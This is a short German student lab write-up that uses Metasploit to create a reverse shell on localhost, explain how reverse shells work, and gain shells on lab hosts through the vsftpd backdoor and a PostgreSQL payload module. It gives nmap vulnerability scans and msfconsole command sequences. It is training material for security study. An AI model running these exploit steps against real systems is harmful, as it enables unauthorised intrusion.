Write-up zur Metasploit Reverse Shell

Write-up zur Metasploit Reverse Shell #

Metasploit Reverse Shell auf localhost #

Aufgabenstellung #

Es soll eine Reverse Shell auf Kali erstellt werden. Also Angreifer und Opfer ist localhost.

Umsetzung #

Wir verwenden dafür Metasploit. Msfvenom gehört zu Metasploit und ist ein Payload Generator and Encoder. Die Dokumentation befindet sich bei offensive-security.

Eine Liste von payloads kriegt man mit:

msfvenom -l payloads

Wir verwenden in der Übung den “linux/x86/meterpreterreverse_tcp”, der eine Reverse Shell erstellt, die zum Attacker verbindet.

Fragen #

Wie funktioniert eine Reverse Shell? Wer öffnet die TCP Verbindung und zu welcher IP / Port? #

Der Angreifer/Server hört auf Port 8080 zur eigenen IP und das Opfer/Client verbindet sich darauf. Anders ausgedrückt öffnet das Opfer eine Shell und bittet dann den Angreifer (der auf Port 8080 hört) sich zu verbinden. Bei ssh ist es genau umgekehrt. Da hört der Server auf Port 22 und öffnet die Shell, wenn sich der Client verbindet.

Wer öffnet die Shell? Wer kontrolliert sie? Welcher Computer führt die eingegebenen Commandos aus? #

Das Opfer öffnet die Shell und der Angreifer kontrolliert sie. Die Shell ist beim Opfer und die Commands werden auch da ausgeführt.

Reverse Shell via vsftpd Exploit #

Aufgabenstellung #

Es soll Metasploit verwendet werden, um eine Schwachstelle auszunutzen.

Umsetzung #

Zuerst scanne ich nach offenen Ports und finde die dazugehörigen Services. Anschliessend versuche ich zu einem Service eine Vulnerability zu finden, die dann auch genutzt werden kann, um eine Shell erstellen.

Der erste Teil, kann mit nmap gemacht werden.

nmap -v --script vuln iloveshells.vm.vuln.land

Als ergebnis bekommt man viele MitM Möglichkeiten aber auch eine Vulnerability betreffend ftp-vsftpd-backdoor.

Diese nutzen wir wie folgt aus:

msfconsole
search vsftpd
options
set RHOSTS = iloveshells.vm.vuln.land

Anschliessend sind wir bereits auf dem Opfer.

Reverse Shell via Postgresql Exploit #

Aufgabenstellung #

Wir sollen Zugriff auf ein System erhalten, dass nicht gedacht war, online zu sein.

Umsetzung #

nmap -sV 1b215cfe-44e6-4d1d-952c-3aa55d2b63e1.rdocker.vuln.land
msfconsole
set RHOSTS 1b215cfe-44e6-4d1d-952c-3aa55d2b63e1.rdocker.vuln.land
set RPORT 8181
use exploit/linux/postgres/postgres_payload

run

Man hat nun eine Shell und kann tun was man muss.

Good to know #

  • Nessus findet nicht alles
  • Tools verlassen sich auf Konventionen wie Port 5432
  • Wenn etwas nicht default ist, muss man selber Informationen sammeln -> nmap Portscan und Service erkennung
  • Der nmap Skriptscan nmap -v --script vuln hat den 8181 Port nicht als Postgresql erkannt. Das vuln ist eine Kategorie und besser wäre es das richtige Skript zu nehmen und den Port mit -p zu definieren.
Calendar September 21, 2021